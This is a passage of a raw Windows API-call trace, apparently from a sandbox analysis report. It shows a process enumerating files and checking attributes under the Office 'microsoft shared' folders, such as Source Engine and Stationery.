lpFilePart=0x9bada4*="pkeyconfig-office.xrm-ms") returned 0x68 [0123.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0123.356] GetCurrentThreadId () returned 0x9b0 [0123.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0123.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0123.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0123.356] GetLastError () returned 0x12 [0123.356] GetLastError () returned 0x12 [0123.356] GetLastError () returned 0x12 [0123.357] GetLastError () returned 0x12 [0123.357] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll", lpFilePart=0x9bada4*="pkeyconfig.companion.dll") returned 0x68 [0123.357] GetCurrentThreadId () returned 0x9b0 [0123.357] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0123.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0123.357] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0123.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0123.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0123.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0123.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0123.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0123.357] GetCurrentThreadId () returned 0x9b0 [0123.358] GetLastError () returned 0x12 [0123.358] GetLastError () returned 0x12 [0123.358] GetLastError () returned 0x12 [0123.358] GetLastError () returned 0x12 [0123.358] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f75d0 [0123.358] GetLastError () returned 0x12 [0123.358] GetCurrentThreadId () returned 0x9b0 [0123.358] GetLastError () returned 0x12 [0123.358] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.359] GetLastError () returned 0x12 [0123.359] GetCurrentThreadId () returned 0x9b0 [0123.359] GetLastError () returned 0x12 [0123.359] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 0 [0123.359] GetLastError () returned 0x12 [0123.359] GetCurrentThreadId () returned 0x9b0 [0123.359] GetLastError () returned 0x12 [0123.359] GetLastError () returned 0x12 [0123.359] FindClose (in: hFindFile=0x10f75d0 | out: hFindFile=0x10f75d0) returned 1 [0123.359] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0123.359] GetCurrentThreadId () returned 0x9b0 [0123.360] GetLastError () returned 0x12 [0123.360] GetLastError () returned 0x12 [0123.360] GetLastError () returned 0x12 [0123.360] GetLastError () returned 0x12 [0123.360] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7410 [0123.360] GetLastError () returned 0x12 [0123.360] GetCurrentThreadId () returned 0x9b0 [0123.360] GetLastError () returned 0x12 [0123.360] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.361] GetLastError () returned 0x12 [0123.361] GetCurrentThreadId () returned 0x9b0 [0123.361] GetLastError () returned 0x12 [0123.361] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3ba48, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="OSE.EXE", cAlternateFileName="")) returned 1 [0123.361] GetLastError () returned 0x12 [0123.361] GetCurrentThreadId () returned 0x9b0 [0123.361] GetLastError () returned 0x12 [0123.361] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3ba48, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="OSE.EXE", cAlternateFileName="")) returned 0 [0123.361] GetLastError () returned 0x12 [0123.361] GetCurrentThreadId () returned 0x9b0 [0123.361] GetLastError () returned 0x12 [0123.361] GetLastError () returned 0x12 [0123.361] FindClose (in: hFindFile=0x10f7410 | out: hFindFile=0x10f7410) returned 1 [0123.362] GetLastError () returned 0x12 [0123.362] GetLastError () returned 0x12 [0123.362] GetLastError () returned 0x12 [0123.362] GetLastError () returned 0x12 [0123.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0123.362] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 0x20 [0123.363] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db940 | out: hHeap=0x2ad0000) returned 1 [0123.363] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0123.363] GetCurrentThreadId () returned 0x9b0 [0123.363] GetLastError () returned 0x12 [0123.363] GetLastError () returned 0x12 [0123.363] GetLastError () returned 0x12 [0123.363] GetLastError () returned 0x12 [0123.363] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE", lpFilePart=0x9bada4*="OSE.EXE") returned 0x44 [0123.363] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0123.364] GetCurrentThreadId () returned 0x9b0 [0123.364] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0123.364] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0123.364] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0123.364] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.364] GetCurrentThreadId () returned 0x9b0 [0123.364] GetLastError () returned 0x12 [0123.364] GetLastError () returned 0x12 [0123.364] GetLastError () returned 0x12 [0123.364] GetLastError () returned 0x12 [0123.364] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7550 [0123.366] GetLastError () returned 0x12 [0123.366] GetCurrentThreadId () returned 0x9b0 [0123.366] GetLastError () returned 0x12 [0123.366] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.366] GetLastError () returned 0x12 [0123.366] GetCurrentThreadId () returned 0x9b0 [0123.367] GetLastError () returned 0x12 [0123.367] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0123.367] GetLastError () returned 0x12 [0123.367] GetCurrentThreadId () returned 0x9b0 [0123.367] GetLastError () returned 0x12 [0123.367] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0123.367] GetLastError () returned 0x12 [0123.367] GetCurrentThreadId () returned 0x9b0 [0123.367] GetLastError () returned 0x12 [0123.367] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a3ecc0a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5d2da05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5d2da05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0123.367] GetLastError () returned 0x12 [0123.367] GetCurrentThreadId () returned 0x9b0 [0123.368] GetLastError () returned 0x12 [0123.368] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0123.368] GetLastError () returned 0x12 [0123.368] GetCurrentThreadId () returned 0x9b0 [0123.368] GetLastError () returned 0x12 [0123.368] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0123.368] GetLastError () returned 0x12 [0123.368] GetCurrentThreadId () returned 0x9b0 [0123.368] GetLastError () returned 0x12 [0123.368] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0123.368] GetLastError () returned 0x12 [0123.368] GetCurrentThreadId () returned 0x9b0 [0123.368] GetLastError () returned 0x12 [0123.369] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0123.369] GetLastError () returned 0x12 [0123.369] GetCurrentThreadId () returned 0x9b0 [0123.369] GetLastError () returned 0x12 [0123.369] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0123.369] GetLastError () returned 0x12 [0123.369] GetCurrentThreadId () returned 0x9b0 [0123.369] GetLastError () returned 0x12 [0123.369] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0123.369] GetLastError () returned 0x12 [0123.369] GetCurrentThreadId () returned 0x9b0 [0123.369] GetLastError () returned 0x12 [0123.369] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0123.370] GetLastError () returned 0x12 [0123.370] GetCurrentThreadId () returned 0x9b0 [0123.370] GetLastError () returned 0x12 [0123.370] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0123.370] GetLastError () returned 0x12 [0123.370] GetCurrentThreadId () returned 0x9b0 [0123.370] GetLastError () returned 0x12 [0123.370] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0123.370] GetLastError () returned 0x12 [0123.370] GetCurrentThreadId () returned 0x9b0 [0123.370] GetLastError () returned 0x12 [0123.370] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0123.370] GetLastError () returned 0x12 [0123.370] GetCurrentThreadId () returned 0x9b0 [0123.371] GetLastError () returned 0x12 [0123.371] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96dccc65, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0123.371] GetLastError () returned 0x12 [0123.371] GetCurrentThreadId () returned 0x9b0 [0123.371] GetLastError () returned 0x12 [0123.371] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dccc65, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96dccc65, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96dccc65, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0123.371] GetLastError () returned 0x12 [0123.371] GetCurrentThreadId () returned 0x9b0 [0123.371] GetLastError () returned 0x12 [0123.371] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0123.371] GetLastError () returned 0x12 [0123.371] GetCurrentThreadId () returned 0x9b0 [0123.371] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0123.372] GetCurrentThreadId () returned 0x9b0 [0123.372] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0123.372] GetCurrentThreadId () returned 0x9b0 [0123.372] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0123.372] GetCurrentThreadId () returned 0x9b0 [0123.372] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0123.372] GetCurrentThreadId () returned 0x9b0 [0123.372] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0123.372] GetCurrentThreadId () returned 0x9b0 [0123.372] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 0 [0123.373] GetCurrentThreadId () returned 0x9b0 [0123.373] FindClose (in: hFindFile=0x10f7550 | out: hFindFile=0x10f7550) returned 1 [0123.373] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0123.375] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db760 | out: hHeap=0x2ad0000) returned 1 [0123.375] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0123.375] GetCurrentThreadId () returned 0x9b0 [0123.375] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0123.376] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbbc0 | out: hHeap=0x2ad0000) returned 1 [0123.376] GetFileAttributesA 